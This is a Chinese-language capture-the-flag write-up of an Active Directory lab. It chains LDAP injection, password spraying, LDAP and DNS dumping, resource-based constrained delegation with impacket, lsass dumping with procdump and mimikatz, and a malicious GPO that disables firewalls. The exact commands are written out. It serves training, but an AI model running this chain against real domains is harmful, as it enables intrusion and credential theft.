长亭百川云 - 文章详情

域渗透-How2UseLdap

7bits安全团队

46

2024-07-13

前言

在域环境中Ldap属于比较基础,且重要的知识点,通过了解Ldap的相关内容,可以快速的判断域内的环境。以及可能存在的缺陷,常常会有人遇到ldap的相关的应用,因为对ldap一知半解,从而失去了利用机会,我们在平台中配套了对应的实战环境,目前环境将作为公开挑战已上线xbitsplatform靶场平台。

团队靶场-How2UseLdap Write Up

============================

任务目标

获取到win10机器中的flag。

攻击路径

涉及的主要知识点

  • • Ldap 相关利用

  • • 域外凭证利用

  • • 基于资源的约束委派

  • • 域控DNS获取

  • • GPO 策略下发

机器情况

  • • DC 10.0.0.10 [135,445,389,88]

  • • Ldap 10.0.0.177 [80]

  • • flag 10.0.0.12 [135,139,445]

  • • rbcd win8 10.0.0.13 [135,139,445]

  • • rbcd2 win12 10.0.0.14 [135,139,445]

wirteup

Ldap 信息获取

首先通过对 IP 段进行扫描判断域内主机,以及域控机器

拿到资产信息后首先对已知 ip 进行端口扫描,发现只有10.0.0.177这台机器开放了 Web 端口。其他机器都开放了一些常规的端口,没有可以进行利用的点。目前主流的突破口都是从 web 方面进行突破,下面主要测试该 Web 应用是否存在一些可以利用的地方。

打开网站后,发现是员工信息查询页面,根据上面"请输入域账户"的提示,判断使用了域环境的验证方式。域环境验证的方式主要可以通过 Ldap 与 Kerberos 进行验证。这里需要确定他使用的验证方式。

一般发现 web 应用使用什么样的验证方式,可以使用下面几种方式来确定:

  • • 通过网站页面信息

  • • 网站验证方式选择框

  • • 数据包

  • • 网站源码泄露

  • • phpinfo

进行目录扫描发现敏感文件,phpinfo.php,readme.txt

当目标使用一些域内验证技术的时候需要开启对应的扩展,通过 phpinfo,看到了目标开启了 ldap 支持。可以推断使用了 ldap 方式对用户进行验证。

如果是 ldap 验证的话,在这里可以尝试利用 ldap 注入,来进行测试,账户登录一般使用filter加上对应的ldap语法去对值进行匹配,在语法中*表示匹配所有。通过在 ldap 登录处尝试输入通配符*,使其成功匹配。发现可以成功登录。

在登录过后发现,存在几百个用户,到这一步,我们就获取到了域内存在的账户,正常来说我们可以尝试直接对账户进行密码喷洒,但是对全部账户进行喷洒的话,动静会很大。这一步暂且停止。

通过观察之前的登录页面发现具有查询手机号和邮箱这两个选项,抓包发现其中的 attr 参数中的值,为 ldap 目录中用户对应的属性名,如 email 为userprincipalname,手机号为homePhone,这里笔者想既然应用直接使用用户属性中的名称,那么能否将该值设置为用户中的其他属性,从而显示其他的内容呢?

结合上面遇到的问题,可以通过对域内账户的权限进行判断,找到一些合适的账户。对于账户权限的判断,在 ldap 中可以通过用户属性useraccountcontrol对账户状态进行判断。

ldap 账户状态判断

这里通过将 attr 的值设置为useraccountcontrol,进行测试,发现能够成功查询,接下来可以利用它显示出来的内容判断用户的权限。

**(对该属性的值做一个简单解释)**一个账户具有不同的属性,而这个值就是不同属性相加之后得到的值。514=512+2=账号存在且关闭 66048=65536+512=密码永不过期+账号正常

这里发现大部分账户的权限都为 514 也就是不可登录,我们筛选出 66048 的账户。收集为66048的账号:weishen weishentql dashe dashenb weizi666 weizi

收集到可以登录的账户后对账户进行密码喷洒,找到能够进行登录的账号。

ldap 账户喷洒

这里配合上面的 readme.txt 文件中提示的密码对 ldap 账户进行喷洒。喷洒工具可以使用 3gstudent 师傅编写的一款喷洒 ldap 账户密码的 powershell 程序。

**工具地址:**https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-DomainPasswordSprayOutsideTheDomain.ps1

`Set-ExecutionPolicy Bypass   Import-Module .\ldap_password.ps1   Invoke-DomainPasswordSprayOutsideTheDomain -Domain "10.0.0.10/DC=ds,DC=local" -UserList .\user.txt -Password p@ssw0rd -Verbose`

这里通过对密码进行喷洒,我们获取可以登录的 ldap 凭证,然后我们可以利用这个凭证直接访问 ldap 数据库,查询其中的 ldap 信息,为了便于分析我们也可以通过 Adfind 将该域的 ldap 全部下载到本地进行查看。

dns 信息导出

在一些域内有些机器可能被设置了防火墙,从而无法被扫描到。当我们获得凭证了,为了获取更为详细的域内机器,可以对域控 dns 服务器中的 DNS 信息进行查询,从而获取到一些被防火墙忽略的机器。

可以利用 adidnsdump 项目,来获取域控中的 dns 信息 https://github.com/dirkjanm/adidnsdump

可以发现域中还存在 10.0.0.12 这台机器没有被扫描到。

ldap 信息导出及分析

使用下面的语句可以从域外进行 ldap 信息的获取

`Adfind.exe * -h 10.0.0.10 -u <user> -up <password> > info.txt`

将 ldap 导入到本地后。我们对文件进行分析,可以了解目前的域环境。主要关注域策略,账户、机器、组之间的关系。

通过 ldap 信息,我们可以获取组策略中的一些信息,密码尝试次数,过期时间,如果需要进一步喷洒,可以参考这些信息,对自己的喷洒方案进行调整。

尝试定位到用户。查看对应 ldap 内容可以了解该对象的常见的属性。

用户的话一般关注以下属性 whenCreated(创建时间) memberOf(所属组) userAccountControl(权限) lastLogon(上次登录时间) pwdLastSet(上次密码修改时间) lastLogonTimestamp(上次登录时间) 通过这些可以确定账户的权限,账户当前的状态。

在对机器的 ldap 信息进行查看时发现,这里机器中存在 mS-DS-CreatorSID 这个属性,如果存在这个属性的话,表示这台机器是由某个域用户加入机器的,该域用户对该机器具有 msDS-AllowedToActOnBehalfOfOtherIdentity 权限,如果控制了这个账户那么就等于拿下了对应的机器

接下来查询具有 mS-DS-CreatorSID 属性的机器AdFind.exe -h 10.0.0.10 -u dashe -up "p@ssw0rd" -b "DC=ds,DC=local" -f "objectClass=computer" mS-DS-CreatorSID

发现机器是由 SID 为S-1-5-21-1946571181-3420340102-3117322147-1106 的用户拉入域。该用户对该机器有控制权。通过搜索 SID,发现该用户为dashe

基于资源的约束委派

若要利用基于资源的约束委派攻击,需要有权限控制机器账户中的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,之后我们需要利用当前域账户建立一个机器账户。之后使用该机器账户去向该机器进行委派。

在上文中提到经过验证的域账户具有将域外主机拉入域内的功能,这是由 MAQ(MachineAccountQuota)进行的,MAQ 允许域用户将计算机帐户对象添加到域。默认情况下,普通域账户可以创建 10 个计算机帐户。通过 MAQ 创建的账户会存放在域计算机组中。同时域用户对于他创建的机器账户具有对象属性的访问权限如(msDS-AllowedToActOnBehalfOfOtherIdentity)

同时通过之前的 ldap,也能查询到对应的信息。

利用 impacket-addcompute 在域外添加服务账户

`impacket-addcomputer "ds.local/dashe:p@ssw0rd" -dc-ip 10.0.0.10 -computer-name test_computer598$ -computer-pass p@ssw0rd`

相比较于非约束委派,约束委派是正向委派,由用户主动发起。接下来利用 impacket 套件中的 rbcd 将 win8 机器与服务账户 test_computer598$建立委派。

`impacket-rbcd -delegate-to win8$ -delegate-from test_computer598$ -dc-ip 10.0.0.10 ds/dashe:p@ssw0rd -action write`

票据导出

当建立委派之后进行票据导出

`impacket-getST -dc-ip 10.0.0.10 ds.local/test_computer598\$:p@ssw0rd -spn cifs/win8.ds.local -impersonate administrator`

在进行票据导出的时候有一个需要注意的地方,这步操作需要与域控进行交互,所以需要与域控的时间同步。

在操作时如果提示 clock Skew too great,就是由于时间没有同步造成的。

经过搜索相关的资料发现可以使用下面的命令,将域控时间和本机时间直接同步sudo ntpdate 10.0.0.10

导入票据

export KRB5CCNAME=administrator.ccache

dumphash

导入完该票据后,我们可以利用impacket-smbclient来上传 mimikatz 等工具来获取用户 hash,这里笔者使用 procdump 获取 dmp 文件,本机 mimikatz 解析的方式获取 hash。

上传 procdump

`impacket-smbclient administrator@win8.ds.local -k -no-pass -dc-ip 10.0.0.10   info   use c$   put procdump64.exe`

这里如果出现无法连接445的错误,是因为目前机器是在域外,没有域控的路由表,可以手动修改 hosts 文件。将 win8.ds.local 与他的 ip 对应。

`vim /etc/hosts   sudo /etc/init.d/networking restart`

也可以直接将域控的 ip,设置为本机的 dns 服务器

命令执行

利用impacket-smbexec执行命令,使 procdump 获取 dmp 文件

impacket-smbexec administrator@win8.ds.local -k -no-pass -dc-ip 10.0.0.10

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

导出下载

本地利用 mimikatz 解析 lsass.dmp 文件 通过查看 lsass.dmp 解密出来的 hash,发现域管曾经登录过这台机器。从而拿到域管账户。

`mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit" > pssword.txt`

接下来对 10.0.0.12 机器进行扫描,发现该机器不通,通过查看 ldap 文档中 lastLogon 属性的值,确定最后登录的时间,判断该机器是否存活。

利用 windows 中的 w32tm.exe 可以对其进行解密,发现最后登录的时间是 4 月 28 号,判断应该是防火墙的原因导致不通。w32tm.exe /ntte xxxxxxxx

既然我们拿到了域管的账户,接下来登录域控,进行 GPO 策略的下发,从而关闭目标机器的防火墙,但是发现无法进行 rdp 连接。只能想办法通过使用命令的方式去添加 GPO。

GPO 下发

使用命令创建策略可以利用 github 上面的 pyGPOAbuse 项目实现。https://github.com/Hackndo/pyGPOAbuse

安装时有一个需要注意的地方,使用 pyGPOAbuse 的时候,python 需要大于 3.8,不然安装 msldap 的时候会产生错误。

这里指定域管的账户,与对应的 ntlmhash,gpo_id,域控的地址。进行组策略的创建。需要注意的是此处的GPO-id为默认域 GPO 的组策略 id。默认的组策略主要有两个:一个是域控的策略(6AC1786C-016F-11D2-945F-00C04fB984F9) 一个是域机器的策略(31b2f340-016d-11d2-945f-00c04fb984f9) 这里因为目标机器是域机器,我们需要使用 31b2f340-016d-11d2-945f-00c04fb984f9 作为组策略 id。

`python3 pygpoabuse.py ds.local/administrator -hashes :f1b7ec38edc8b8046053884234a9d01a -gpo-id "31b2f340-016d-11d2-945f-00c04fb984f9" -powershell -command "Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False" -taskname "Completely Legit Task" -description "Dis is legit, pliz no delete" -dc-ip 10.0.0.10 -v`

组策略添加成功

之后等待目标机器执行组策略,执行策略后防火墙会关闭。

flag 获取

之后可以通过 psexec 明文密码的方式访问目标机器获取 flag。

总结

本环境在域渗透中属于基础知识,其中大多的技术点都是围绕 ldap 展开,之后利用委派拿下机器,dump 域管 hash,下发 gpo 关闭目标防火墙,获取 flag。实际上对于获取 ldap 信息之后的利用也远远不止上面提到的内容。师傅们也可以继续查询相关的内容。

参考

https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E6%99%AE%E9%80%9A%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E8%8E%B7%E5%BE%97DNS%E8%AE%B0%E5%BD%95

https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/

https://www.4hou.com/posts/K5MR

https://myzxcg.com/2021/09/%E5%9F%9F%E7%94%A8%E6%88%B7%E5%8F%A3%E4%BB%A4%E7%AD%96%E7%95%A5%E4%B8%8E%E6%9A%B4%E7%A0%B4/

https://www.netspi.com/blog/technical/network-penetration-testing/5-ways-to-find-systems-running-domain-admin-processes/

https://xz.aliyun.com/t/11555

环境获取

本挑战为xbitsplatform公开环境,师傅可以直接通过 www.xbitsplatform.com 访问平台。同时环境中使用的工具,和ldap的相关笔记也会上传到知识星球。

知识星球

团队其他文章

域渗透-一文了解lsass内存转储攻防技术

记一次团队内部的红蓝对抗-攻击篇

Java安全-记一次实战使用memoryshell

了解更多关于xbitsplatform的信息:

xBitsPlatform使用说明

xBitsPlatform公测版正式上线啦

加入内部讨论群

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2